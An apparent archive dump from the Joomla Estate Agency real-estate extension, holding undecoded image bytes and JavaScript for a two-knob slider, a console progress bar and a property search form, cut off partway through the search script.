|�2�B�l��7ʡ��1le���O�'ӷ���t�F��d��w�:�2�I�ԨFG�(k@E��w�{��K�X��M�Bf�4CBN������[>��R4E����-Q�_����b��	I�`+�x��<N��׏
�4!i"�T'2�9	�b����)���L�r�[5�kHhp�9��moa���g�����k�d��T��	��ζ�NHjHR?eO�w?�HgH���big8-���~�Ԃ~���F��2�{�:����Aqj1_��k�|sqS����sKJC��G�Ycb���q���t�LOb������w_��Z$��c����O�95JH#�����ަ;��se2�.�����>^��Q�x9�zV��0[^�]��G�.��B!�������
���"�	����>r��E��t���'R
�@j�Pa��o�\񡿹�LO��o�(�(iE��:��
&��U�#ۿ��_Ϋ��l�
�yP)��,a��U�v�+��o�O׽���kn���#����(�o\��dn]m#�ަg:��/"*������o&_}���}���:��|TKx�#gK���6�r-���
,[{3ٞrjF.-����X��fqI��C�T��$���k��c+;��m�-k�z�p���}
3��R�t��Z9dV�q�MW��_Z͍�C=������E��]@�o!�l/�D�=.��4NW'�N�2}�-���;�k����?���n[�͔E�n�s�Ш�k&�Ӯ�]\`�+���!.^\f�,�"����sL�M1vh��7�g�ۆ���:��s�e'�x��Z�4��O�7Ў�w��QN;��������,-N-��z&��ڙ;��\;Υ�6�\�~^���.�t�p&�N�ݴ�����:/���Ǯ�y�w��ʝmN?�W7IEND�B`�images/header/icon-36-jea.png000064400000002631151165074460011675
0ustar00�PNG


IHDR$$���bKGD�������	pHYs��tIME�49�N�&IDATX�͘[le�����t�n/[D
�[%JH��x� 1�1H��E�!bP41<YŐh�$ "�
�F
�PJ�r�.-lK�-[������]�Vl��/��3g7�������*Y
lJ�Z�8`;(��0�5JDB�a�x���X���
k7�P�BbO5~A��H���mű�C
T���ĶӴ�6�4C*���;hܺ{�S���P�PJu��{kW*v�9��"���讃#��HZ�9ɋWF@�\��@����q�,g�ۈ�@�+����/��=2��T��n"r�p.��
�uwF�躽�J�Њ�P={�r�a�v���;k���\�>z�,	�z`��j��!�-��3��1wT��AoUD����Ȯj�.#�Q�,ED$��yH�6$-p�q	��qܽ�@Sgہ��;ڦ\�D\(���A�"����ˇ��Q�L�HK���{�,���0qjʘ!.{��^c٨��@��n;�\�
s�H�{�ן�"WF��g��m�t-��Q�8�l�[�)dg%ҙ">��^��L/�)��s���a�L���]E�s!H)��wd��5Q�����	v<�
��Q8\��)Ԓ9(M$�D��q�bz�}0�[FC��S�fr�����᳃+��oí����ƣ��/G�}��8r�"m�/ǡ�5>88��Dg��ݨ��ԭJ����$���HCt���}�$�Z���@,�|�'��>@*����]�Z<�Y�:����v��UM}�.�L�o£�P��A��?Ԝ{Q�f�2��G��oS;�־�W>u��w��:h��7T?��x�ͧQK�"����Z��G�iA}��t�#��S�eYٿ����ڦO�����|Ԅ᯳Ȅ��I��I���d"ٓ;M}(���fz�g�-{t
��;|�N�Byt+�n؝��@�H<��(p,�o"V��MU�і�E�rQĒ`ٮdm�V��/t�
���8h�Ƹ
���a��z{��#�Ԋ�6���3&q��5���v������w����"��4��GS�~�������@cO��Rs��
>�Ơ0)
��z�<�0���3v�r��k4U����2fI!���;��NY�﹋Ds+�C'�-�,
r�"¥��
�q������w�T4F*z���s����<��P"J�֗�O�2����L4�+EG}#v�m�9��A
�҆��J�]h�W�OGC������a����+�|�4F���(�`�h�#��m
�O�����7�q�6{qPꖸ�Ϯ��'ˬ�>IEND�B`�images/header/icon-48-jea.png000064400000003536151165074460011705
0ustar00�PNG


IHDR00W��bKGD�������	pHYs��tIME�6
j�L��IDATh�ՙm�UG�Ϝs��A�1Z���%`��/l�n/�6���c�j�����h�i1�����mmY���!�
*њ�1]��[��i�
��JK�v�W��3�9�pYv�rw�Nrs2Ϝ�3��?�癙�(qK+�"�5�-�.���p���qK+ᖵ
�p�����0���������bb`$�����5A�ݸ�K~;��{h~	���/Z(J/F�ڹf��~�ov�)�,Ĝ�TDNK���E��?���?
�U�d/kv�$L���w��E��v�Јa�3����f�qe�Ta�ϻ�U�q�@T��@<T4ٯ��+�*���0��E�]2^�6U+��t��^>
�������Mv�X�0c�87�=V
�@Z�_.���&t/t����#�[���w5��
�k�O�V�+0)��g��`�A˜�2hwŒ�G���X�d�'����
��eM���w����X���
���q�.�OC������}ϹZ9tt���|�8D>j��A!W5&�_��!�jE}�
(�hb\�"�D@o�b(�	L<Dt���Gw���h���=1T�m��R�/�l�5`�؅�R5�@�(����Q���/ԕ�2W���J����G����o��Og��n���	d�Bnp0�m�l>z���B5Od�~7(�~���X�o�9_7�F����<�!�k�:gĜ^�:�j���<��n�;���B��F�H5n%���N�vQ�i�T��Hb�|���V�=��l>��|�Xj`d8����_M��5e�`�Ѳ���o���G����H�=�ǀo{&���/�����A!w`<40xatM��O`AP��C����&Wz+�B��pz�L\���!&�6H5-~l�����gg�����:���<4��'��[�ŝD�U6}��D��0r�=�v�T|�棥C헪����e8�
����x�����U��˲�6]Y�J�(�7R����Udb�:�ot2k�W@�%v�:)ni�
[v�#���y���6	��l>Zr�Id@�O��6���y�h����{��=g�S���ລ��s��h������|�/&LH��*>y��T�y�T*��|�(���p����C��qR���UYT���ʠ��PU���>1�������9�=��'�b&��|��UQ@�XR'�
�@�_U�D�n�,�y�6�=�_��|�1#�����t���QԮ�.1b�3�y�ĺd�-�"���b��}b��~	g�rh�5�}�
3�v������%�jQ&5�����
p�<�w�0-&p�8
}�I>�t���{���:����+�
�s�����ִ����2��gs�#�EO
Ld���]��s�qY�JUw��#r�Sݬ��@�m��6�y_'=;��������|���b�E����OhGq:3��v�C�dj�-��@_ߦW^�Cow�P;
�����>���4��e�~������}�x�녿�����@��x
����O�����
��9���8|x�@��Ԕ�&��T�k��4e�k��/�?�g�KS}��,�y�ǁ���_�z�8����,���t�璅�����w��h��4��P4Y�];m�ɤ&�t;�6�Tl���6���v�bOW������3qij$@�j���=�.q��R1�	/��M�K�o*{IEND�B`�images/unchecked.png000064400000000514151165074460010461
0ustar00�PNG


IHDR�*��bKGD�������IDAT(���=
�@�o]0.�c�&���"�G���s!D$�Y�m���)���amۦi��B�$I�y�|>��U)E�B)%���س�}�;��D�>��w!�����,3��u�EQ�m[�u�7�0���DD��trR)%^.�������e���Io��1���NӄA���Zk\�%MS'e���r�g'�QJ�t��aY����6c�1~
Yk�1�sOk�4��
�p���(�u�Z���s"��
����O	QIEND�B`�images/checked.png000064400000001013151165074460010111
0ustar00�PNG


IHDR�*��bKGD��������IDAT(�U��β@���]�)�������{�"��l41$hDE@��=�$o�M1�$�L2��n�(*��16���w]���(
��,�*�²�
�1f�ߗe�$	9���>��m�qLD�Zx����v���$I��۶��:����">��t:�~���%I�=cL0���]�1��|4I)l�VJ�}_�5cO���8a��|~8&�I�4�ei�]�E��x��D��)�yΪ�Z�VM�
�1f@{�7�L��|*��<O�T�}�e"������W��1~��|>��n�q۶}�o������K)�1��J)�����(���s��4M۶�D�[E��{�\�����,�
�eY�UUI)9���_h���B�X,���}cm�~�_PJI)��WJi�9�BJ��l�����u6��m�z��眈���GM��@~IEND�B`�images/slider_bg.png000064400000000470151165074460010463
0ustar00�PNG


IHDR�~�asRGB���bKGD�C�	pHYs
�
�B(�xtIME�	�q��IDATX�c�vm�5˗����wп�XF�(�011�aaa]��P��\ZF����Jn4hF�(~��c��>����߿!�Vr�.��xTnTnTn��Y�[���7�������I�h�7
F������T��RIE���υ{4XF�(~`�=_�ݹ���ڵ}��-\�����gt�n������p~�2���IEND�B`�images/sort_desc.png000064400000000236151165074460010516
0ustar00�PNG


IHDR�%sRGB���PLTE�g��tRNS@��fbKGD�H	pHYs��IDAT�c`�y>���*7�IEND�B`�images/unpublished.png000064400000001376151165074460011061
0ustar00�PNG


IHDR�asRGB���bKGD�������	pHYs��tIME�	2%��<m~IDAT8�M��n�@��ױ��i���k�B��T�p�����ĕ'(���BpD��H$�4M�&�{m/�lP�]i5�;;�	�P@���ΎȁH
�@���
D�x�a�8΀Ċ������V�qy��}�hl
B9w�߿���{-c���
i13�2~U��˭��0�ܤ����y��q�C�۷����7���ko_����������W�_��Z_��`��/���zY��Ƽ����80f
d��������Nx�Y�N��9J�8T�z�z��v�em�칀�u��Uji�JS����A��p�jQ(E�^��9��Q�2�R�����,�,�Q"�i��yֺ��<K+I�p(
�����$�DZ��L�vγ�<�1i:#������i�c���b��L���,����G��	f4œ�R���3I�����Ю���n��p|�him-d8d��ܢ�!��8�Ѩw7��l�2��z�C���������Z.�U��T��6�D�&����M��10b�l��������7D�uG���[Q��*�.0\���0լЊ��}`f=�-΁\���q�y',��l�IYh�K�[�0=�-W
IEND�B`�images/knob.png000064400000001314151165074460007460
0ustar00�PNG


IHDR�b�wsRGB���bKGD�������	pHYs��tIME�	g�rLIDAT8˥T�NTA=�U�aa4&(uc|�$b�1n|ĕ1�/�7lLoL\��\�
FA
y�//AЌC&ܹ}�N���"	�t��T��>�UM]]]N)
Bɨ�U 5qk�(EaG{kB��@ă��ك�6V�6��=*�L
��T�I;4��������Km(.�da�x`%���98!�\��`"��%��fmFQܐ�+��@D��"ܹy�B(�!B:����|��03��U򕀙�'�(E��9�9�
���
��%��Ɔ�6k�o���O5?�c�
E
RP��~��]�,..g�1o�@:�U~����`�P���b(%`V��wX^Y�CO�㩋�[ZO�8F�I���l<4<�����S���dj)��f�V����h���r*k���ν�����9�w}�Y��S��_Q�Ə���ө���_��F���_��>�)&�uhm|e�_]������I�m~a.4����Z�Z댵q�t�_J�-�>>��}�L��D�Z�\��✫9jwww������ρ�1c��Sk�Y=wW�"I}���D7�w.�_�i�YIEND�B`�images/export.png000064400000007735151165074460010065
0ustar00�PNG


IHDR  szz�	pHYs��
OiCCPPhotoshop ICC profilexڝSgTS�=���BK���KoR
RB���&*!	J�!��Q�EEȠ�����Q,�
��!��������{�kּ�����>�����H3Q5��B������.@�
$p�d!s�#�~<<+"��x��M��0���B�\���t�8K�@z�B�@F���&S�`�cb�P-`'������{[�!��
e�Dh;��V�EX0fK�9�-0IWfH�����0Q��){`�##x��F�W<�+��*x��<�$9E�[-qWW.(�I+6aa�@.�y�2�4�������x����6��_-��"bb��ϫp@�t~�,/��;�m��%�h^�u��f�@����W�p�~<<E���������J�B[a�W}�g�_�W�l�~<�����$�2]�G�����L�ϒ	�b��G�����"�Ib�X*�Qq�D���2�"�B�)�%�d��,�>�5�j>{�-�]c�K'Xt���o��(�h���w��?�G�%�fI�q^D$.Tʳ?�D��*�A�,����`6�B$��BB
d�r`)��B(�Ͱ*`/�@4�Qh��p.�U�=p�a��(��	A�a!ڈb�X#����!�H�$
ɈQ"K�5H1R�T
UH�=r9�\F��;�2����G1���Q=��C��7�F��dt1�����r�=�6��Ыhڏ>C�0��3�l0.��B�8,	�c˱"����V����cϱw�E�	6wB
aAHXLXN�H�
$4�	7	�Q�'"��K�&���b21�XH,#��/{�C�7$�C2'��I��T��F�nR#�,��4H#���dk�9�,
+ȅ����3��!�[
�b@q��S�(R�jJ��4�e�2AU��Rݨ�T5�ZB���R�Q��4u�9̓IK�����hh�i��t�ݕN��W���G���w
��Ljg(�gw��L�Ӌ�T071���oUX*�*|��
�J�&�*/T����ުU�U�T��^S}�FU3S�	Ԗ�U��P�SSg�;���g�oT?�~Y��Y�L�OC�Q��_��
c�x,!k
��u�5�&���|v*�����=���9C3J3W�R�f?�q��tN	�(���~���)�)�4L�1e\k����X�H�Q�G�6����E�Y��A�J'\'Gg����S�Sݧ
�M=:��.�k���Dw�n��^��Lo��y��}/�T�m���GX�$��<�5qo</���QC]�@C�a�a�ᄑ��<��F�F�i�\�$�m�mƣ&&!&KM�M�RM��)�;L;L���͢�֙5�=1�2��כ߷`ZxZ,����eI��Z�Yn�Z9Y�XUZ]�F���%ֻ�����N�N���gð�ɶ�����ۮ�m�}agbg�Ů��}�}��=
���Z~s�r:V:ޚΜ�?}���/gX���3��)�i�S��Ggg�s�󈋉K��.�>.���Ƚ�Jt�q]�z�������ۯ�6�i�ܟ�4�)�Y3s���C�Q��?��0k߬~OCO�g��#/c/�W�װ��w��a�>�>r��>�<7�2�Y_�7��ȷ�O�o�_��C#�d�z����%g��A�[��z|!��?:�e����A���AA�����!h�쐭!��Α�i�P~���a�a��~'���W�?�p�X�1�5w��Cs�D�D�Dޛg1O9�-J5*>�.j<�7�4�?�.fY��X�XIlK9.*�6nl�������{�/�]py�����.,:�@L�N8��A*��%�w%�
y��g"/�6ш�C\*N�H*Mz�쑼5y$�3�,幄'���L
Lݛ:��v
m2=:�1����qB�!M��g�g�fvˬe����n��/��k���Y-
�B��TZ(�*�geWf�͉�9���+��̳�ې7����ᒶ��KW-X潬j9�<qy�
�+�V�<���*m�O��W��~�&zMk�^�ʂ��k�U
�}����]OX/Yߵa���>������(�x��oʿ�ܔ���Ĺd�f�f���-�[����n
�ڴ
�V��E�/��(ۻ��C���<��e����;?T�T�T�T6��ݵa�n��{��4���[���>ɾ�UUM�f�e�I���?�����m]�Nmq����#�׹���=TR��+�G�����w-
6
U����#pDy��	�
:�v�{���vg/jB��F�S��[b[�O�>����z�G��4<YyJ�T�i��ӓg�ό���}~.��`ۢ�{�c��jo�t��E���;�;�\�t���W�W��:_m�t�<���Oǻ�����\k��z��{f���7���y���՞9=ݽ�zo�����~r'��˻�w'O�_�@�A�C݇�?[�����j�w����G�������C���ˆ
��8>99�?r��C�d�&����ˮ/~�����јѡ�򗓿m|�����������x31^�V��w�w��O�|
(�h���S�������c3-�
cHRMz%������u0�`:�o�_�FIDATx��]�UU���}Ϲg���*��8V���
�B>($�%(�CXQQ>܇Đ!���!��E���K!��
����1�dF��ǽ��z83w�|;)�҆�a�}�^��������p������Ny���`��PD0�ħs�#���N[[��DdOkk+Z�y���������u�֮���^��y�@Dp��1f�EaR,inn&�L�o��9c6�]3E�{�g(G�(��N�N*
�d��p�q<�c�ʕtuu�����Ϸ�k-"?�X�����u���0��244��444E��G�����x�	G��jߌ��
a����W�\�u]����d2�(M�^�(/�-s�§dj�!�b�#[P���8:���`a>O����[	��ק����Ë�{��g~�տ�˟�c��X{�
F,�X���ic�� ٚ,��55Y� 
�Nc�gp���R�Տ+֬���R��؏�X*��A,VbB
"��1Õ,��'/
�J�:�om޲~���&��45���1<�_���,�Hz��M�j=�]�b�Qa��P�&ؐ�t�>����[�^U����
Fʆ��o:�R��R2���^�l'%ͤ�24�	�O�1��u`��Zں�%���	�I$#�0�	�L��r�`)B�'�lB2`Bb��
�AU	�-��y`ɰ�o{������(�!��\�B��NJ�P�bNJ�
�NZ�Y��V	��qHhM�O�pP�D�4�]A��b"Kɔ�2�2�3�\��௔ʝ)t�����kS}���h��qT|Z��B�	�	���1�f�ڍeд�Ώ���_y)�r_�bo�ȥ�H���ȥS4P�i`A�@�����%Ԧ�p�q���S��,�H{qCr�ήұ�}�_��|�m�P���S|y�%�גI��9�~���#�eI%�G�s��990
�K���8xa�G�>�B!���s^B�Z�1Փ�#��'��߬�t^%��
�T��@5�g��^<ȁ�_Yո~Ə�3n@|�PlZ�B�;�y�Rj�~S��U��!UPs��B����ɲq��)9��980��;Tˊd2<ϻ+w�r����|>�fV����X{�����������D5�`J)U(TOO�{�ڵD6��"�a���NE��=�SƘ�;]��c�(�l*��aZ���0��ԩS6�"���iR(*���n��۫�/_����*kuuu�t�R�����L����:ǂi�_IEND�B`�images/published.png000064400000001374151165074460010514
0ustar00�PNG


IHDR�asRGB���bKGD�������	pHYs��tIME�	26���|IDAT8�M��NQ��N��t`b���Th�B7�W��gP�A��ĭO���n\�,TL:�k�RJ�Ο���{����w�{�9Gp
��<{V�_9`�Ȁ����]����B��
 �����Ȃ����9`^��j�+z�,�/B'l)�r����g���o��e�S\`h�}��>j�X�h���DA�(�bx�q������Ç����O�����!}�k�k���l5Z���Y�V(��$<!2ė|>X<x#���퇅�����Fm��8��J+p
ws�
�_�i����,�j��z^�����C=�!q��=��Q�z����/�z�k�^�ц��Q1�[v0b((p�����Z��3��Q1A���$��hT�@����&%����MSD�r��$-S���]�ӱ��+�r�w�ߗ��ާa�@�y5��O.
C3D�h�$$q���*֞�d3���_/K������-�k��Oxҋ{g�f�m�d>X2>�M~���ϣ2���jZe�n��:$�H�$gG�G��l�c�)�J9D�X]�]x[/�/=�R1��Iv��v���޴����[��˵�3��;
�I���&��5��L��u�潶��-
���IEND�B`�images/spinner.gif000064400000003041151165074460010165
0ustar00GIF89a�?


%%%666DDDLLLTTT[[[dddlllttt{{{������������������������������������������������������������������������������������������������������������������������������������������������������������!�NETSCAPE2.0!�?,�����n
��RC�~o�Y-1����J��eF�$�v1_oa��SFr��29?,	8:BS".J#EJ')C-W7"#
,W6C.&>K,�C9!;K
6?>$�'75-8)�+b1)#/(?5)�?:>!?!4W1/?
>8�K>�?$�:IBA!�?,
X��p��$zD�+��!=�3�����~/�T))@B�X�r
��C	Ȅ����	w6D(>IB$0�B1�D3,�?:%�A!�?,Q��pXi�B��c~6CY[@~�g#�l���A������PT:ȆE�~'�F�D2:C<7
>B.%HMC"3�1WBA!�?,
O����L�H�,�M?ܢ��U2?
4B0%Y���*@~7�j��P�/D�~���<I�G��.
�j�?HA!�?,Z�����	���T��
�#���6��%����%,�V$G��0 =ݣ�
����][

w-w"{?>JH).{?(<{�?A!�?,P��o�Y	�_);^d��O�X�ʱ8"��$�
g�r�)�12��D��b8
?*=B1f.�f6^A!�?,

O��p��ňB,C�w�ȅ���FU!�2�d�2��1A�H�ߢ�x�$-������

@~-X=?	?(D�0D
	=?NCA!�?,
V��pH̸��S
ɼ�>�SH�T.��YB8dDA��6����
)h��B�	d���+�h	?	?,C"+?=2"C=a�<?:DA!�?,Q��p��
�X��?��XS�'��HL!��
6Ԥ�Ӱ~�_�H)@�Z�J �?
0P'??
>5qG>7BOGA!�?,
N��0�	�BE�p
!�C�zZS+�䞞_�`�����~�ꩠ�8V�H�(?4G.M??6zG_?HA!�?,
U����3��ȟ�!B�_��vѣ��u
�SV1 FY�꓾M
ݘ�]>�Z�X*�X
"/I8??PG/)??8i$>?A!�?,S����W��W���O�\~AWP�~(�9�Fñ6�j�s�|�G��
!
5!'7?&*?0)#C:?!C1/?
A;images/sort_asc.png000064400000000237151165074460010347 0ustar00�PNG


IHDR�%sRGB���PLTE�g��tRNS@��fbKGD�H	pHYs��IDAT�c`>y�
���TIEND�B`�images/media_trash.png000064400000000306151165074460011007
0ustar00�PNG


IHDRer�sRGB���bKGD�C�	pHYs��tIME�7,+0��FIDAT8�c`�
0���?9zI4�,sX�r��022�0k�7�41e�G��d�Y�HFN�����T��IEND�B`�js/biSlider.js000064400000012406151165074460007267
0ustar00/*
Based on Mootools 1.1 Slider.js
Author : Sylvain Philip

License:
	MIT-style license.
*/

/*
Class: BiSlider
	Creates a slider with tree elements: two knobs and a container. Returns
the values.

Note:
	The Slider requires an XHTML doctype.

Arguments:
	element - the knobs container
	knobMin - the min handle
	knobMax - the max handle
	options - see Options below

Options:
	steps - the number of steps for your slider.
	mode - either 'horizontal' or 'vertical'. defaults to
horizontal.
	offset - relative offset for knob position. default to 0.

Events:
	onChange - a function to fire when the value changes.
	onComplete - a function to fire when you're done dragging.
	onTick - optionally, you can alter the onTick behavior, for example
displaying an effect of the knob moving to the desired position.
		Passes as parameter the new position.
*/

var BiSlider = new Class({
	
	Implements: [Events, Options],
	
	Binds: ['clickedElement', 'draggedKnob',
'scrolledElement'],

	options: {
		onChange: Class.empty,
		onComplete: Class.empty,
		onTick: function(pos){
			this.knobMin.setStyle(this.p, pos);
		},
		mode: 'horizontal',
		steps: 100,
		offset: 0
	},

	initialize: function(el, knobMin, knobMax, options){
		this.element = document.id(el);
		this.element.setStyle('position', 'relative');
		this.knobMin = document.id(knobMin);
		this.knobMax = document.id(knobMax);
		this.setOptions(options);
		this.previousChange = -1;
		this.previousEnd = -1;
		this.step = -1;
		// this.element.addEvent('mousedown',
this.clickedElement.bindWithEvent(this));
		var mod, offset;
		switch(this.options.mode){
			case 'horizontal':
				this.z = 'x';
				this.p = 'left';
				mod = {'x': 'left', 'y': false};
				offset = 'offsetWidth';
				break;
			case 'vertical':
				this.z = 'y';
				this.p = 'top';
				mod = {'x': false, 'y': 'top'};
				offset = 'offsetHeight';
		}
		this.max = this.element[offset] - this.knobMin[offset] +
(this.options.offset * 2);
		this.half = this.knobMin[offset]/2;
		this.getPos = this.element['get' +
this.p.capitalize()].bind(this.element);
		this.knobMin.setStyle('position',
'absolute').setStyle(this.p, - this.options.offset);
		this.knobMax.setStyle('position',
'absolute').setStyle(this.p, this.max);
		this.KnobMinWidth = this.knobMin[offset] + (this.options.offset * 2);
		this.knobMaxWidth = this.knobMax[offset] + (this.options.offset * 2);
		
		this.stepMin = this.toStep(- this.options.offset);
		this.stepMax = this.toStep(this.max);
		
		var dragMinlim = {};
		var dragMaxlim = {};
		
		dragMinlim[this.z] = [- this.options.offset, this.max - this.knobMaxWidth
- this.options.offset];
		dragMaxlim[this.z] = [this.KnobMinWidth - this.options.offset, this.max -
this.options.offset];

		this.dragMin = new Drag(this.knobMin, {
			limit: dragMinlim,
			modifiers: mod,
			snap: 0,
			onStart: function(){
				this.draggedKnob('dragMin');
			}.bind(this),

			onDrag: function(){
				this.draggedKnob('dragMin');
			}.bind(this),

			onComplete: function(){
				this.draggedKnob('dragMin');
				this.end();
			}.bind(this)
		});

		this.dragMax = new Drag(this.knobMax, {
			limit: dragMaxlim,
			modifiers: mod,
			snap: 0,
			onStart: function(){
				this.draggedKnob('dragMax');
			}.bind(this),
			onDrag: function(){
				this.draggedKnob('dragMax');
			}.bind(this),
			onComplete: function(){
				this.draggedKnob('dragMax');
				this.end();
			}.bind(this)
		});
		
		if (this.options.initialize) this.options.initialize.call(this);
	},

	/*
	Property: set
		The slider will get the step you pass.

	Arguments:
		step - one integer
	*/

	set: function(step){
		this.step = step.limit(0, this.options.steps);
		this.checkStep();
		// this.end();
		// this.fireEvent('onTick', this.toPosition(this.step));
		return this;
	},

	clickedElement: function(event){
		/*
		var position = event.page[this.z] - this.getPos() - this.half;
		position = position.limit(-this.options.offset, this.max
-this.options.offset);
		this.step = this.toStep(position);
		this.checkStep();
		this.end();
		this.fireEvent('onTick', position);
		*/
	},

	draggedKnob: function(knob){
		var dragMinValue = this.dragMin.value.now[this.z];
		var dragMaxValue = this.dragMax.value.now[this.z];
		
		var lim = {};

		if(knob == 'dragMax' ) {
			if(dragMinValue) {
				lim[this.z] = [dragMinValue + this.KnobMinWidth - this.options.offset,
this.max - this.options.offset];
				this.dragMax.limit = lim;
			}
			this.step = this.toStep(dragMaxValue);
			this.stepMax = this.step;
		} else {
			if(dragMaxValue) {

				lim[this.z] = [- this.options.offset, dragMaxValue - this.knobMaxWidth
- this.options.offset];
				this.dragMin.limit = lim;
			}
		    this.step = this.toStep(dragMinValue);
		    this.stepMin = this.step;
		}
		this.checkStep();
	},

	checkStep: function(){
		if (this.previousChange != this.step){
			this.previousChange = this.step;
			var steps = {
				current : this.step,
				minimum : this.stepMin,
				maximum : this.stepMax 
			};
				
			this.fireEvent('onChange', steps);
		}
	},

	end: function(){
		if (this.previousEnd !== this.step){
			this.previousEnd = this.step;
			this.fireEvent('onComplete', this.step + '');
		}
	},

	toStep: function(position){
		return Math.round((position + this.options.offset) / this.max *
this.options.steps);
	},

	toPosition: function(step){
		return this.max * step / this.options.steps;
	}

});

js/console.js000064400000007670151165074460007203 0ustar00/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate
 * agency
 * 
 * @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license GNU/GPL, see LICENSE.txt
 */

+function ($) {

	'use strict';
	
	// PROGRESSBAR CLASS DEFINITION
	// ============================
	
	var ProgressBar = function (element, options) {
		this.progressBar = $(element);
		this.options = options;
		this.timer = null;
		this.startTime = null;
		this.step = 0;
	}
	
	ProgressBar.DEFAULTS = {
		steps : 100,
		color : '#fff',
		size : 30
	}

	ProgressBar.prototype.setStep = function(step) {

		// if we go over our bound, just ignore it
		if (step > this.options.steps) {
			return;
		}

		this.step = step;

		var date = new Date();

		if (!this.startTime) {
			this.startTime = date.getTime() / 1000;
		}

		var now = date.getTime() / 1000;

		var perc = this.step / this.options.steps;

		var bar = Math.floor(perc * this.options.size);

		var status_bar = "[";

		for (var i = 0; i <= bar; i++) {
			status_bar += '=';
		}

		if (bar < this.options.size) {
			status_bar += '>';
			for (var i = 0; i <= this.options.size - bar; i++) {
				status_bar += '\u00A0'; // Unicode non-breaking space
			}
		} else {
			status_bar += '=';
		}

		var disp = Math.floor(perc * 100);

		status_bar += "] " + disp + "%  " + this.step +
"/" + this.options.steps;

		var rate = (now - this.startTime) / this.step;
		var left = this.options.steps - this.step;

		var remaining =
Joomla.JText._('COM_JEA_GATEWAY_IMPORT_TIME_REMAINING',
'Time remaining: %d sec.');
		var elapsed =
Joomla.JText._('COM_JEA_GATEWAY_IMPORT_TIME_ELAPSED', 'Time
elapsed: %d sec.');
		
		status_bar += "  " + remaining.replace('%d',
Math.round(rate * left))
		status_bar += "  " + elapsed.replace('%d',
Math.round(now - this.startTime))

		this.progressBar.text(status_bar);

	};

	ProgressBar.prototype.gotToNextStep = function() {
		this.step++;
		this.setStep(this.step);
	};
	

	// CONSOLE CLASS DEFINITION
	// ========================

	var Console = function (element, options) {
		this.console = $(element);
		this.options = options;
		this.progressBars = [];
	}


	Console.prototype.appendLine = function(message, prefix) {
		var text = prefix || '> ';
		var className = 'info';
		if (message.error) {
			text += message.error;
			className = 'error';
		}

		if (message.warning) {
			text += message.warning;
			className = 'warning';
		}

		if (message.text)
			text += message.text;

		var line = $('<p>', {
			class: className,
			text: text.toString()
		});
		this.console.append(line);
		return line;
	};
	
	Console.prototype.addPlaceHolder = function(name) {
		var line = $('<p>', {
			class: 'placeholder',
			id: name
		});
		this.console.append(line);
		return line;
	};

	Console.prototype.getPlaceHolder = function(name) {
		return $('#'+name);
	};
	
	Console.prototype.clear = function() {
		this.progressBars = null;
		this.console.empty();
	};
	
	Console.prototype.addProgressBar = function(name, options) {
		var progressbarContainer = $('<div>', {
			class: 'progressbar',
			id: name
		});
		var options  = $.extend({}, ProgressBar.DEFAULTS, typeof options ==
'object' && options)
		this.console.append(progressbarContainer);
		this.progressBars[name] = new ProgressBar(progressbarContainer, options);
		return this.progressBars[name];
	};
	
	Console.prototype.getProgressBar = function(name) {
			if (this.progressBars[name]) {
				return this.progressBars[name];
			}
			return false;
	};
	
	// CONSOLE PLUGIN DEFINITION
	// ============================

	function Plugin(options) {
		var $this   = $(this)
		var instance    = $this.data('jea.console')
		if (!instance) $this.data('jea.console', (instance = new
Console(this, options)))
		return instance;
	}

	var old = $.fn.console

	$.fn.console             = Plugin
	$.fn.console.Constructor = Console

	// CONSOLE NO CONFLICT
	// ====================

	$.fn.console.noConflict = function() {
		$.fn.console = old
		return this
	}

}(jQuery);




js/search.js000064400000013233151165074460006776 0ustar00/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate
 * agency
 * 
 * @copyright Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license GNU/GPL, see LICENSE.txt
 */

/**
 * This implementation works with Mootools framework
 * We keep this file for backward compatibility with old templates
overriding JEA layouts
 */

JEASearch = new Class({

	Implements: [Options],

	form: null,

	forceUpdateLists : false,

	options: {
		fields : {
			filter_amenities : [],
			filter_area_id : 0,
			filter_bathrooms_min : 0,
			filter_bedrooms_min : 0,
			filter_budget_max : 0,
			filter_budget_min : 0,
			filter_condition : 0,
			filter_department_id : 0,
			filter_floor : '',
			filter_heatingtype : 0,
			filter_hotwatertype : 0,
			filter_land_space_max : 0,
			filter_land_space_min : 0,
			filter_living_space_max :0,
			filter_living_space_min : 0,
			filter_orientation : 0,
			filter_rooms_min : 0,
			filter_search : "",
			filter_town_id : 0,
			filter_transaction_type : "",
			filter_type_id : 0,
			filter_zip_codes : ""
		},
		useAJAX : false
	},

	initialize: function(formId, options) {
		this.form = document.id(formId);
		this.setOptions(options);
		this.forceUpdateLists = true;
		
		if (this.options.useAJAX) {
			for (var fieldName in this.options.fields) {
				if (fieldName == 'filter_amenities') {
					fieldName = 'filter_amenities[]';
				}
				this.initFieldBehavior(fieldName);
			}
		}

		this.form.addEvent('reset', this.reset.bind(this));
	},

	initFieldBehavior : function(fieldName) {
		if (this.form[fieldName]) {
			if (typeOf(this.form[fieldName]) == 'element') {
				var field = document.id(this.form[fieldName]);
				this.options.fields[fieldName] = field.get('value');
				field.addEvent('change', function(event) {
					this.forceUpdateLists = false;
					this.options.fields[fieldName] = field.get('value');
					this.refresh();
				}.bind(this));

			} else if (typeOf(this.form[fieldName]) == 'collection') {
				if (fieldName == 'filter_amenities[]') {
					Array.from(this.form['filter_amenities[]']).each(function(item)
{
						if (Browser.ie && Browser.version < 9){
							item = document.id(item);
						}
						item.addEvent('change', function(event) {
							var index =
this.options.fields.filter_amenities.indexOf(item.get('value'));
							this.forceUpdateLists = true;
							if (item.get('checked') && index == -1) {
								this.options.fields.filter_amenities.push(item.get('value'));
							} else if (!item.get('checked') && index > -1){
								this.options.fields.filter_amenities.splice(index, 1);
							}
							this.refresh();
						}.bind(this));
					}.bind(this));
				} else if (fieldName == 'filter_transaction_type') {
					var transTypes =
document.getElements('[name=filter_transaction_type]');
					transTypes.each(function(item) {
						item.addEvent('change', function(event) {
							this.forceUpdateLists = true;
							if (item.get('checked')) {
								this.options.fields.filter_transaction_type =
item.get('value');
							}
							this.refresh();
						}.bind(this));
					}.bind(this));
				}
			}
		}
	},

	refresh: function() {
		if (this.options.useAJAX) {
			var jSonRequest = new Request.JSON({
				url:
'index.php?option=com_jea&task=properties.search&format=json',
				onSuccess: function(response) {
					this.appendList('filter_type_id', response.types);
					this.appendList('filter_department_id',
response.departments);
					this.appendList('filter_town_id',response.towns);
